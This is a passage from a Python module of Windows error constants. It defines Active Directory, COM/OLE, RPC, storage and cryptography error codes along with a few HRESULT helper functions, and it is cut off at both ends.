8521\nERROR_DS_STRING_SD_CONVERSION_FAILED = 8522\nERROR_DS_NAMING_MASTER_GC = 8523\nERROR_DS_DNS_LOOKUP_FAILURE = 8524\nERROR_DS_COULDNT_UPDATE_SPNS = 8525\nERROR_DS_CANT_RETRIEVE_SD = 8526\nERROR_DS_KEY_NOT_UNIQUE = 8527\nERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528\nERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529\nERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530\nERROR_DS_CANT_START = 8531\nERROR_DS_INIT_FAILURE = 8532\nERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533\nERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534\nERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535\nERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536\nERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537\nERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538\nERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539\nERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540\nERROR_SAM_INIT_FAILURE = 8541\nERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542\nERROR_DS_DRA_SCHEMA_CONFLICT = 8543\nERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544\nERROR_DS_DRA_OBJ_NC_MISMATCH = 8545\nERROR_DS_NC_STILL_HAS_DSAS = 8546\nERROR_DS_GC_REQUIRED = 8547\nERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548\nERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549\nERROR_DS_CANT_ADD_TO_GC = 8550\nERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551\nERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552\nERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553\nERROR_DS_INVALID_NAME_FOR_SPN = 8554\nERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555\nERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556\nERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557\nERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558\nERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559\nERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560\nERROR_DS_INIT_FAILURE_CONSOLE = 8561\nERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562\nERROR_DS_FOREST_VERSION_TOO_HIGH = 8563\nERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564\nERROR_DS_FOREST_VERSION_TOO_LOW = 8565\nERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566\nERROR_DS_INCOMPATIBLE_VERSION = 8567\nERROR_DS_LOW_DSA_VERSION = 8568\nERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569\nERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570\nERROR_DS_NAME_NOT_UNIQUE = 8571\nERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572\nERROR_DS_OUT_OF_VERSION_STORE = 8573\nERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574\nERROR_DS_NO_REF_DOMAIN = 8575\nERROR_DS_RESERVED_LINK_ID = 8576\nERROR_DS_LINK_ID_NOT_AVAILABLE = 8577\nERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578\nERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579\nERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580\nERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581\nERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582\nERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583\nERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584\nERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585\nERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586\nERROR_DS_THREAD_LIMIT_EXCEEDED = 8587\nERROR_DS_NOT_CLOSEST = 8588\nERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589\nERROR_DS_SINGLE_USER_MODE_FAILED = 8590\nERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591\nERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592\nERROR_DS_DIFFERENT_REPL_EPOCHS = 8593\nERROR_DS_DRS_EXTENSIONS_CHANGED = 8594\nERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595\nERROR_DS_NO_MSDS_INTID = 8596\nERROR_DS_DUP_MSDS_INTID = 8597\nERROR_DS_EXISTS_IN_RDNATTID = 8598\nERROR_DS_AUTHORIZATION_FAILED = 8599\nERROR_DS_INVALID_SCRIPT = 8600\nERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601\nERROR_DS_CROSS_REF_BUSY = 8602\nERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603\nERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604\nERROR_DS_DUPLICATE_ID_FOUND = 8605\nERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606\nERROR_DS_GROUP_CONVERSION_ERROR = 8607\nERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608\nERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609\nERROR_DS_ROLE_NOT_VERIFIED = 8610\nERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611\nERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612\nERROR_DS_EXISTING_AD_CHILD_NC = 8613\nERROR_DS_REPL_LIFETIME_EXCEEDED = 8614\nERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615\nERROR_DS_LDAP_SEND_QUEUE_FULL = 8616\nERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617\nERROR_DS_POLICY_NOT_KNOWN = 8618\nERROR_NO_SITE_SETTINGS_OBJECT = 8619\nERROR_NO_SECRETS = 8620\nERROR_NO_WRITABLE_DC_FOUND = 8621\nERROR_DS_NO_SERVER_OBJECT = 8622\nERROR_DS_NO_NTDSA_OBJECT = 8623\nERROR_DS_NON_ASQ_SEARCH = 8624\nERROR_DS_AUDIT_FAILURE = 8625\nERROR_DS_INVALID_SEARCH_FLAG_SUBTREE = 8626\nERROR_DS_INVALID_SEARCH_FLAG_TUPLE = 8627\nERROR_DS_HIERARCHY_TABLE_TOO_DEEP = 8628\n\nSEVERITY_SUCCESS = 0\nSEVERITY_ERROR = 1\n\ndef HRESULT_FROM_WIN32(scode):\n    return -2147024896 | (scode & 65535)\n\ndef SUCCEEDED(Status):\n    return ((Status) >= 0)\n\ndef FAILED(Status):\n    return (Status<0)\n\ndef HRESULT_CODE(hr):\n    return ((hr) & 65535)\n\ndef SCODE_CODE(sc):\n    return ((sc) & 65535)\n\ndef HRESULT_FACILITY(hr):\n    return (((hr) >> 16) & 8191)\n\ndef SCODE_FACILITY(sc):\n    return (((sc) >> 16) & 8191)\n\ndef HRESULT_SEVERITY(hr):\n    return (((hr) >> 31) & 1)\n\ndef SCODE_SEVERITY(sc):\n    return (((sc) >> 31) & 1)\n\nFACILITY_NT_BIT = 268435456\ndef HRESULT_FROM_NT(x):\n    return x | FACILITY_NT_BIT\n\ndef GetScode(hr):\n    return hr\n\ndef ResultFromScode(sc):\n    return sc\n\nNOERROR = 0\nE_UNEXPECTED = -2147418113\nE_NOTIMPL = -2147467263\nE_OUTOFMEMORY = -2147024882\nE_INVALIDARG = -2147024809\nE_NOINTERFACE = -2147467262\nE_POINTER = -2147467261\nE_HANDLE = -2147024890\nE_ABORT = -2147467260\nE_FAIL = -2147467259\nE_ACCESSDENIED = -2147024891\nwin16_E_NOTIMPL = -2147483647\nwin16_E_OUTOFMEMORY = -2147483646\nwin16_E_INVALIDARG = -2147483645\nwin16_E_NOINTERFACE = -2147483644\nwin16_E_POINTER = -2147483643\nwin16_E_HANDLE = -2147483642\nwin16_E_ABORT = -2147483641\nwin16_E_FAIL = -2147483640\nwin16_E_ACCESSDENIED = -2147483639\nE_PENDING = -2147483638\nCO_E_INIT_TLS = -2147467258\nCO_E_INIT_SHARED_ALLOCATOR = -2147467257\nCO_E_INIT_MEMORY_ALLOCATOR = -2147467256\nCO_E_INIT_CLASS_CACHE = -2147467255\nCO_E_INIT_RPC_CHANNEL = -2147467254\nCO_E_INIT_TLS_SET_CHANNEL_CONTROL = -2147467253\nCO_E_INIT_TLS_CHANNEL_CONTROL = -2147467252\nCO_E_INIT_UNACCEPTED_USER_ALLOCATOR = -2147467251\nCO_E_INIT_SCM_MUTEX_EXISTS = -2147467250\nCO_E_INIT_SCM_FILE_MAPPING_EXISTS = -2147467249\nCO_E_INIT_SCM_MAP_VIEW_OF_FILE = -2147467248\nCO_E_INIT_SCM_EXEC_FAILURE = -2147467247\nCO_E_INIT_ONLY_SINGLE_THREADED = -2147467246\nCO_E_CANT_REMOTE = -2147467245\nCO_E_BAD_SERVER_NAME = -2147467244\nCO_E_WRONG_SERVER_IDENTITY = -2147467243\nCO_E_OLE1DDE_DISABLED = -2147467242\nCO_E_RUNAS_SYNTAX = -2147467241\nCO_E_CREATEPROCESS_FAILURE = -2147467240\nCO_E_RUNAS_CREATEPROCESS_FAILURE = -2147467239\nCO_E_RUNAS_LOGON_FAILURE = -2147467238\nCO_E_LAUNCH_PERMSSION_DENIED = -2147467237\nCO_E_START_SERVICE_FAILURE = -2147467236\nCO_E_REMOTE_COMMUNICATION_FAILURE = -2147467235\nCO_E_SERVER_START_TIMEOUT = -2147467234\nCO_E_CLSREG_INCONSISTENT = -2147467233\nCO_E_IIDREG_INCONSISTENT = -2147467232\nCO_E_NOT_SUPPORTED = -2147467231\nCO_E_RELOAD_DLL = -2147467230\nCO_E_MSI_ERROR = -2147467229\n\nOLE_E_FIRST = -2147221504\nOLE_E_LAST = -2147221249\nOLE_S_FIRST = 262144\nOLE_S_LAST = 262399\n\nOLE_E_OLEVERB = -2147221504\nOLE_E_ADVF = -2147221503\nOLE_E_ENUM_NOMORE = -2147221502\nOLE_E_ADVISENOTSUPPORTED = -2147221501\nOLE_E_NOCONNECTION = -2147221500\nOLE_E_NOTRUNNING = -2147221499\nOLE_E_NOCACHE = -2147221498\nOLE_E_BLANK = -2147221497\nOLE_E_CLASSDIFF = -2147221496\nOLE_E_CANT_GETMONIKER = -2147221495\nOLE_E_CANT_BINDTOSOURCE = -2147221494\nOLE_E_STATIC = -2147221493\nOLE_E_PROMPTSAVECANCELLED = -2147221492\nOLE_E_INVALIDRECT = -2147221491\nOLE_E_WRONGCOMPOBJ = -2147221490\nOLE_E_INVALIDHWND = -2147221489\nOLE_E_NOT_INPLACEACTIVE = -2147221488\nOLE_E_CANTCONVERT = -2147221487\nOLE_E_NOSTORAGE = -2147221486\nDV_E_FORMATETC = -2147221404\nDV_E_DVTARGETDEVICE = -2147221403\nDV_E_STGMEDIUM = -2147221402\nDV_E_STATDATA = -2147221401\nDV_E_LINDEX = -2147221400\nDV_E_TYMED = -2147221399\nDV_E_CLIPFORMAT = -2147221398\nDV_E_DVASPECT = -2147221397\nDV_E_DVTARGETDEVICE_SIZE = -2147221396\nDV_E_NOIVIEWOBJECT = -2147221395\nDRAGDROP_E_FIRST = -2147221248\nDRAGDROP_E_LAST = -2147221233\nDRAGDROP_S_FIRST = 262400\nDRAGDROP_S_LAST = 262415\nDRAGDROP_E_NOTREGISTERED = -2147221248\nDRAGDROP_E_ALREADYREGISTERED = -2147221247\nDRAGDROP_E_INVALIDHWND = -2147221246\nCLASSFACTORY_E_FIRST = -2147221232\nCLASSFACTORY_E_LAST = -2147221217\nCLASSFACTORY_S_FIRST = 262416\nCLASSFACTORY_S_LAST = 262431\nCLASS_E_NOAGGREGATION = -2147221232\nCLASS_E_CLASSNOTAVAILABLE = -2147221231\nCLASS_E_NOTLICENSED = -2147221230\nMARSHAL_E_FIRST = -2147221216\nMARSHAL_E_LAST = -2147221201\nMARSHAL_S_FIRST = 262432\nMARSHAL_S_LAST = 262447\nDATA_E_FIRST = -2147221200\nDATA_E_LAST = -2147221185\nDATA_S_FIRST = 262448\nDATA_S_LAST = 262463\nVIEW_E_FIRST = -2147221184\nVIEW_E_LAST = -2147221169\nVIEW_S_FIRST = 262464\nVIEW_S_LAST = 262479\nVIEW_E_DRAW = -2147221184\nREGDB_E_FIRST = -2147221168\nREGDB_E_LAST = -2147221153\nREGDB_S_FIRST = 262480\nREGDB_S_LAST = 262495\nREGDB_E_READREGDB = -2147221168\nREGDB_E_WRITEREGDB = -2147221167\nREGDB_E_KEYMISSING = -2147221166\nREGDB_E_INVALIDVALUE = -2147221165\nREGDB_E_CLASSNOTREG = -2147221164\nREGDB_E_IIDNOTREG = -2147221163\nCAT_E_FIRST = -2147221152\nCAT_E_LAST = -2147221151\nCAT_E_CATIDNOEXIST = -2147221152\nCAT_E_NODESCRIPTION = -2147221151\nCS_E_FIRST = -2147221148\nCS_E_LAST = -2147221144\nCS_E_PACKAGE_NOTFOUND = -2147221148\nCS_E_NOT_DELETABLE = -2147221147\nCS_E_CLASS_NOTFOUND = -2147221146\nCS_E_INVALID_VERSION = -2147221145\nCS_E_NO_CLASSSTORE = -2147221144\nCACHE_E_FIRST = -2147221136\nCACHE_E_LAST = -2147221121\nCACHE_S_FIRST = 262512\nCACHE_S_LAST = 262527\nCACHE_E_NOCACHE_UPDATED = -2147221136\nOLEOBJ_E_FIRST = -2147221120\nOLEOBJ_E_LAST = -2147221105\nOLEOBJ_S_FIRST = 262528\nOLEOBJ_S_LAST = 262543\nOLEOBJ_E_NOVERBS = -2147221120\nOLEOBJ_E_INVALIDVERB = -2147221119\nCLIENTSITE_E_FIRST = -2147221104\nCLIENTSITE_E_LAST = -2147221089\nCLIENTSITE_S_FIRST = 262544\nCLIENTSITE_S_LAST = 262559\nINPLACE_E_NOTUNDOABLE = -2147221088\nINPLACE_E_NOTOOLSPACE = -2147221087\nINPLACE_E_FIRST = -2147221088\nINPLACE_E_LAST = -2147221073\nINPLACE_S_FIRST = 262560\nINPLACE_S_LAST = 262575\nENUM_E_FIRST = -2147221072\nENUM_E_LAST = -2147221057\nENUM_S_FIRST = 262576\nENUM_S_LAST = 262591\nCONVERT10_E_FIRST = -2147221056\nCONVERT10_E_LAST = -2147221041\nCONVERT10_S_FIRST = 262592\nCONVERT10_S_LAST = 262607\nCONVERT10_E_OLESTREAM_GET = -2147221056\nCONVERT10_E_OLESTREAM_PUT = -2147221055\nCONVERT10_E_OLESTREAM_FMT = -2147221054\nCONVERT10_E_OLESTREAM_BITMAP_TO_DIB = -2147221053\nCONVERT10_E_STG_FMT = -2147221052\nCONVERT10_E_STG_NO_STD_STREAM = -2147221051\nCONVERT10_E_STG_DIB_TO_BITMAP = -2147221050\nCLIPBRD_E_FIRST = -2147221040\nCLIPBRD_E_LAST = -2147221025\nCLIPBRD_S_FIRST = 262608\nCLIPBRD_S_LAST = 262623\nCLIPBRD_E_CANT_OPEN = -2147221040\nCLIPBRD_E_CANT_EMPTY = -2147221039\nCLIPBRD_E_CANT_SET = -2147221038\nCLIPBRD_E_BAD_DATA = -2147221037\nCLIPBRD_E_CANT_CLOSE = -2147221036\nMK_E_FIRST = -2147221024\nMK_E_LAST = -2147221009\nMK_S_FIRST = 262624\nMK_S_LAST = 262639\nMK_E_CONNECTMANUALLY = -2147221024\nMK_E_EXCEEDEDDEADLINE = -2147221023\nMK_E_NEEDGENERIC = -2147221022\nMK_E_UNAVAILABLE = -2147221021\nMK_E_SYNTAX = -2147221020\nMK_E_NOOBJECT = -2147221019\nMK_E_INVALIDEXTENSION = -2147221018\nMK_E_INTERMEDIATEINTERFACENOTSUPPORTED = -2147221017\nMK_E_NOTBINDABLE = -2147221016\nMK_E_NOTBOUND = -2147221015\nMK_E_CANTOPENFILE = -2147221014\nMK_E_MUSTBOTHERUSER = -2147221013\nMK_E_NOINVERSE = -2147221012\nMK_E_NOSTORAGE = -2147221011\nMK_E_NOPREFIX = -2147221010\nMK_E_ENUMERATION_FAILED = -2147221009\nCO_E_FIRST = -2147221008\nCO_E_LAST = -2147220993\nCO_S_FIRST = 262640\nCO_S_LAST = 262655\nCO_E_NOTINITIALIZED = -2147221008\nCO_E_ALREADYINITIALIZED = -2147221007\nCO_E_CANTDETERMINECLASS = -2147221006\nCO_E_CLASSSTRING = -2147221005\nCO_E_IIDSTRING = -2147221004\nCO_E_APPNOTFOUND = -2147221003\nCO_E_APPSINGLEUSE = -2147221002\nCO_E_ERRORINAPP = -2147221001\nCO_E_DLLNOTFOUND = -2147221000\nCO_E_ERRORINDLL = -2147220999\nCO_E_WRONGOSFORAPP = -2147220998\nCO_E_OBJNOTREG = -2147220997\nCO_E_OBJISREG = -2147220996\nCO_E_OBJNOTCONNECTED = -2147220995\nCO_E_APPDIDNTREG = -2147220994\nCO_E_RELEASED = -2147220993\nCO_E_FAILEDTOIMPERSONATE = -2147220992\nCO_E_FAILEDTOGETSECCTX = -2147220991\nCO_E_FAILEDTOOPENTHREADTOKEN = -2147220990\nCO_E_FAILEDTOGETTOKENINFO = -2147220989\nCO_E_TRUSTEEDOESNTMATCHCLIENT = -2147220988\nCO_E_FAILEDTOQUERYCLIENTBLANKET = -2147220987\nCO_E_FAILEDTOSETDACL = -2147220986\nCO_E_ACCESSCHECKFAILED = -2147220985\nCO_E_NETACCESSAPIFAILED = -2147220984\nCO_E_WRONGTRUSTEENAMESYNTAX = -2147220983\nCO_E_INVALIDSID = -2147220982\nCO_E_CONVERSIONFAILED = -2147220981\nCO_E_NOMATCHINGSIDFOUND = -2147220980\nCO_E_LOOKUPACCSIDFAILED = -2147220979\nCO_E_NOMATCHINGNAMEFOUND = -2147220978\nCO_E_LOOKUPACCNAMEFAILED = -2147220977\nCO_E_SETSERLHNDLFAILED = -2147220976\nCO_E_FAILEDTOGETWINDIR = -2147220975\nCO_E_PATHTOOLONG = -2147220974\nCO_E_FAILEDTOGENUUID = -2147220973\nCO_E_FAILEDTOCREATEFILE = -2147220972\nCO_E_FAILEDTOCLOSEHANDLE = -2147220971\nCO_E_EXCEEDSYSACLLIMIT = -2147220970\nCO_E_ACESINWRONGORDER = -2147220969\nCO_E_INCOMPATIBLESTREAMVERSION = -2147220968\nCO_E_FAILEDTOOPENPROCESSTOKEN = -2147220967\nCO_E_DECODEFAILED = -2147220966\nCO_E_ACNOTINITIALIZED = -2147220965\nOLE_S_USEREG = 262144\nOLE_S_STATIC = 262145\nOLE_S_MAC_CLIPFORMAT = 262146\nDRAGDROP_S_DROP = 262400\nDRAGDROP_S_CANCEL = 262401\nDRAGDROP_S_USEDEFAULTCURSORS = 262402\nDATA_S_SAMEFORMATETC = 262448\nVIEW_S_ALREADY_FROZEN = 262464\nCACHE_S_FORMATETC_NOTSUPPORTED = 262512\nCACHE_S_SAMECACHE = 262513\nCACHE_S_SOMECACHES_NOTUPDATED = 262514\nOLEOBJ_S_INVALIDVERB = 262528\nOLEOBJ_S_CANNOT_DOVERB_NOW = 262529\nOLEOBJ_S_INVALIDHWND = 262530\nINPLACE_S_TRUNCATED = 262560\nCONVERT10_S_NO_PRESENTATION = 262592\nMK_S_REDUCED_TO_SELF = 262626\nMK_S_ME = 262628\nMK_S_HIM = 262629\nMK_S_US = 262630\nMK_S_MONIKERALREADYREGISTERED = 262631\nCO_E_CLASS_CREATE_FAILED = -2146959359\nCO_E_SCM_ERROR = -2146959358\nCO_E_SCM_RPC_FAILURE = -2146959357\nCO_E_BAD_PATH = -2146959356\nCO_E_SERVER_EXEC_FAILURE = -2146959355\nCO_E_OBJSRV_RPC_FAILURE = -2146959354\nMK_E_NO_NORMALIZED = -2146959353\nCO_E_SERVER_STOPPING = -2146959352\nMEM_E_INVALID_ROOT = -2146959351\nMEM_E_INVALID_LINK = -2146959344\nMEM_E_INVALID_SIZE = -2146959343\nCO_S_NOTALLINTERFACES = 524306\nDISP_E_UNKNOWNINTERFACE = -2147352575\nDISP_E_MEMBERNOTFOUND = -2147352573\nDISP_E_PARAMNOTFOUND = -2147352572\nDISP_E_TYPEMISMATCH = -2147352571\nDISP_E_UNKNOWNNAME = -2147352570\nDISP_E_NONAMEDARGS = -2147352569\nDISP_E_BADVARTYPE = -2147352568\nDISP_E_EXCEPTION = -2147352567\nDISP_E_OVERFLOW = -2147352566\nDISP_E_BADINDEX = -2147352565\nDISP_E_UNKNOWNLCID = -2147352564\nDISP_E_ARRAYISLOCKED = -2147352563\nDISP_E_BADPARAMCOUNT = -2147352562\nDISP_E_PARAMNOTOPTIONAL = -2147352561\nDISP_E_BADCALLEE = -2147352560\nDISP_E_NOTACOLLECTION = -2147352559\nDISP_E_DIVBYZERO = -2147352558\nTYPE_E_BUFFERTOOSMALL = -2147319786\nTYPE_E_FIELDNOTFOUND = -2147319785\nTYPE_E_INVDATAREAD = -2147319784\nTYPE_E_UNSUPFORMAT = -2147319783\nTYPE_E_REGISTRYACCESS = -2147319780\nTYPE_E_LIBNOTREGISTERED = -2147319779\nTYPE_E_UNDEFINEDTYPE = -2147319769\nTYPE_E_QUALIFIEDNAMEDISALLOWED = -2147319768\nTYPE_E_INVALIDSTATE = -2147319767\nTYPE_E_WRONGTYPEKIND = -2147319766\nTYPE_E_ELEMENTNOTFOUND = -2147319765\nTYPE_E_AMBIGUOUSNAME = -2147319764\nTYPE_E_NAMECONFLICT = -2147319763\nTYPE_E_UNKNOWNLCID = -2147319762\nTYPE_E_DLLFUNCTIONNOTFOUND = -2147319761\nTYPE_E_BADMODULEKIND = -2147317571\nTYPE_E_SIZETOOBIG = -2147317563\nTYPE_E_DUPLICATEID = -2147317562\nTYPE_E_INVALIDID = -2147317553\nTYPE_E_TYPEMISMATCH = -2147316576\nTYPE_E_OUTOFBOUNDS = -2147316575\nTYPE_E_IOERROR = -2147316574\nTYPE_E_CANTCREATETMPFILE = -2147316573\nTYPE_E_CANTLOADLIBRARY = -2147312566\nTYPE_E_INCONSISTENTPROPFUNCS = -2147312509\nTYPE_E_CIRCULARTYPE = -2147312508\nSTG_E_INVALIDFUNCTION = -2147287039\nSTG_E_FILENOTFOUND = -2147287038\nSTG_E_PATHNOTFOUND = -2147287037\nSTG_E_TOOMANYOPENFILES = -2147287036\nSTG_E_ACCESSDENIED = -2147287035\nSTG_E_INVALIDHANDLE = -2147287034\nSTG_E_INSUFFICIENTMEMORY = -2147287032\nSTG_E_INVALIDPOINTER = -2147287031\nSTG_E_NOMOREFILES = -2147287022\nSTG_E_DISKISWRITEPROTECTED = -2147287021\nSTG_E_SEEKERROR = -2147287015\nSTG_E_WRITEFAULT = -2147287011\nSTG_E_READFAULT = -2147287010\nSTG_E_SHAREVIOLATION = -2147287008\nSTG_E_LOCKVIOLATION = -2147287007\nSTG_E_FILEALREADYEXISTS = -2147286960\nSTG_E_INVALIDPARAMETER = -2147286953\nSTG_E_MEDIUMFULL = -2147286928\nSTG_E_PROPSETMISMATCHED = -2147286800\nSTG_E_ABNORMALAPIEXIT = -2147286790\nSTG_E_INVALIDHEADER = -2147286789\nSTG_E_INVALIDNAME = -2147286788\nSTG_E_UNKNOWN = -2147286787\nSTG_E_UNIMPLEMENTEDFUNCTION = -2147286786\nSTG_E_INVALIDFLAG = -2147286785\nSTG_E_INUSE = -2147286784\nSTG_E_NOTCURRENT = -2147286783\nSTG_E_REVERTED = -2147286782\nSTG_E_CANTSAVE = -2147286781\nSTG_E_OLDFORMAT = -2147286780\nSTG_E_OLDDLL = -2147286779\nSTG_E_SHAREREQUIRED = -2147286778\nSTG_E_NOTFILEBASEDSTORAGE = -2147286777\nSTG_E_EXTANTMARSHALLINGS = -2147286776\nSTG_E_DOCFILECORRUPT = -2147286775\nSTG_E_BADBASEADDRESS = -2147286768\nSTG_E_INCOMPLETE = -2147286527\nSTG_E_TERMINATED = -2147286526\nSTG_S_CONVERTED = 197120\nSTG_S_BLOCK = 197121\nSTG_S_RETRYNOW = 197122\nSTG_S_MONITORING = 197123\nSTG_S_MULTIPLEOPENS = 197124\nSTG_S_CONSOLIDATIONFAILED = 197125\nSTG_S_CANNOTCONSOLIDATE = 197126\nRPC_E_CALL_REJECTED = -2147418111\nRPC_E_CALL_CANCELED = -2147418110\nRPC_E_CANTPOST_INSENDCALL = -2147418109\nRPC_E_CANTCALLOUT_INASYNCCALL = -2147418108\nRPC_E_CANTCALLOUT_INEXTERNALCALL = -2147418107\nRPC_E_CONNECTION_TERMINATED = -2147418106\nRPC_E_SERVER_DIED = -2147418105\nRPC_E_CLIENT_DIED = -2147418104\nRPC_E_INVALID_DATAPACKET = -2147418103\nRPC_E_CANTTRANSMIT_CALL = -2147418102\nRPC_E_CLIENT_CANTMARSHAL_DATA = -2147418101\nRPC_E_CLIENT_CANTUNMARSHAL_DATA = -2147418100\nRPC_E_SERVER_CANTMARSHAL_DATA = -2147418099\nRPC_E_SERVER_CANTUNMARSHAL_DATA = -2147418098\nRPC_E_INVALID_DATA = -2147418097\nRPC_E_INVALID_PARAMETER = -2147418096\nRPC_E_CANTCALLOUT_AGAIN = -2147418095\nRPC_E_SERVER_DIED_DNE = -2147418094\nRPC_E_SYS_CALL_FAILED = -2147417856\nRPC_E_OUT_OF_RESOURCES = -2147417855\nRPC_E_ATTEMPTED_MULTITHREAD = -2147417854\nRPC_E_NOT_REGISTERED = -2147417853\nRPC_E_FAULT = -2147417852\nRPC_E_SERVERFAULT = -2147417851\nRPC_E_CHANGED_MODE = -2147417850\nRPC_E_INVALIDMETHOD = -2147417849\nRPC_E_DISCONNECTED = -2147417848\nRPC_E_RETRY = -2147417847\nRPC_E_SERVERCALL_RETRYLATER = -2147417846\nRPC_E_SERVERCALL_REJECTED = -2147417845\nRPC_E_INVALID_CALLDATA = -2147417844\nRPC_E_CANTCALLOUT_ININPUTSYNCCALL = -2147417843\nRPC_E_WRONG_THREAD = -2147417842\nRPC_E_THREAD_NOT_INIT = -2147417841\nRPC_E_VERSION_MISMATCH = -2147417840\nRPC_E_INVALID_HEADER = -2147417839\nRPC_E_INVALID_EXTENSION = -2147417838\nRPC_E_INVALID_IPID = -2147417837\nRPC_E_INVALID_OBJECT = -2147417836\nRPC_S_CALLPENDING = -2147417835\nRPC_S_WAITONTIMER = -2147417834\nRPC_E_CALL_COMPLETE = -2147417833\nRPC_E_UNSECURE_CALL = -2147417832\nRPC_E_TOO_LATE = -2147417831\nRPC_E_NO_GOOD_SECURITY_PACKAGES = -2147417830\nRPC_E_ACCESS_DENIED = -2147417829\nRPC_E_REMOTE_DISABLED = -2147417828\nRPC_E_INVALID_OBJREF = -2147417827\nRPC_E_NO_CONTEXT = -2147417826\nRPC_E_TIMEOUT = -2147417825\nRPC_E_NO_SYNC = -2147417824\nRPC_E_UNEXPECTED = -2147352577\nNTE_BAD_UID = -2146893823\nNTE_BAD_HASH = -2146893822\nNTE_BAD_KEY = -2146893821\nNTE_BAD_LEN = -2146893820\nNTE_BAD_DATA = -2146893819\nNTE_BAD_SIGNATURE = -2146893818\nNTE_BAD_VER = -2146893817\nNTE_BAD_ALGID = -2146893816\nNTE_BAD_FLAGS = -2146893815\nNTE_BAD_TYPE = -2146893814\nNTE_BAD_KEY_STATE = -2146893813\nNTE_BAD_HASH_STATE = -2146893812\nNTE_NO_KEY = -2146893811\nNTE_NO_MEMORY = -2146893810\nNTE_EXISTS = -2146893809\nNTE_PERM = -2146893808\nNTE_NOT_FOUND = -2146893807\nNTE_DOUBLE_ENCRYPT = -2146893806\nNTE_BAD_PROVIDER = -2146893805\nNTE_BAD_PROV_TYPE = -2146893804\nNTE_BAD_PUBLIC_KEY = -2146893803\nNTE_BAD_KEYSET = -2146893802\nNTE_PROV_TYPE_NOT_DEF = -2146893801\nNTE_PROV_TYPE_ENTRY_BAD = -2146893800\nNTE_KEYSET_NOT_DEF = -2146893799\nNTE_KEYSET_ENTRY_BAD = -2146893798\nNTE_PROV_TYPE_NO_MATCH = -2146893797\nNTE_SIGNATURE_FILE_BAD = -2146893796\nNTE_PROVIDER_DLL_FAIL = -2146893795\nNTE_PROV_DLL_NOT_FOUND = -2146893794\nNTE_BAD_KEYSET_PARAM = -2146893793\nNTE_FAIL = -2146893792\nNTE_SYS_ERR = -2146893791\nCRYPT_E_MSG_ERROR = -2146889727\nCRYPT_E_UNKNOWN_ALGO = -2146889726\nCRYPT_E_OID_FORMAT = -2146889725\nCRYPT_E_INVALID_MSG_TYPE = -2146889724\nCRYPT_E_UNEXPECTED_ENCODING = -2146889723\nCRYPT_E_AUTH_ATTR_MISSING = -2146889722\nCRYPT_E_HASH_VALUE = -2146889721\nCRYPT_E_INVALID_INDEX = -2146889720\nCRYPT_E_ALREADY_DECRYPTED = -2146889719\nCRYPT_E_NOT_DECRYPTED = -2146889718\nCRYPT_E_RECIPIENT_NOT_FOUND = -2146889717\nCRYPT_E_CONTROL_TYPE = -2146889716\nCRYPT_E_ISSUER_SERIALNUMBER = -2146889715\nCRYPT_E_SIGNER_NOT_FOUND = -2146889714\nCRYPT_E_ATTRIBUTES_MISSING = -2146889713\nCRYPT_E_STREAM_MSG_NOT_READY = -2146889712\nCRYPT_E_STREAM_INSUFFICIENT_DATA = -2146889711\nCRYPT_E_BAD_LEN = -2146885631\nCRYPT_E_BAD_ENCODE = -2146885630\nCRYPT_E_FILE_ERROR = -2146885629\nCRYPT_E_NOT_FOUND = -2146885628\nCRYPT_E_EXISTS = 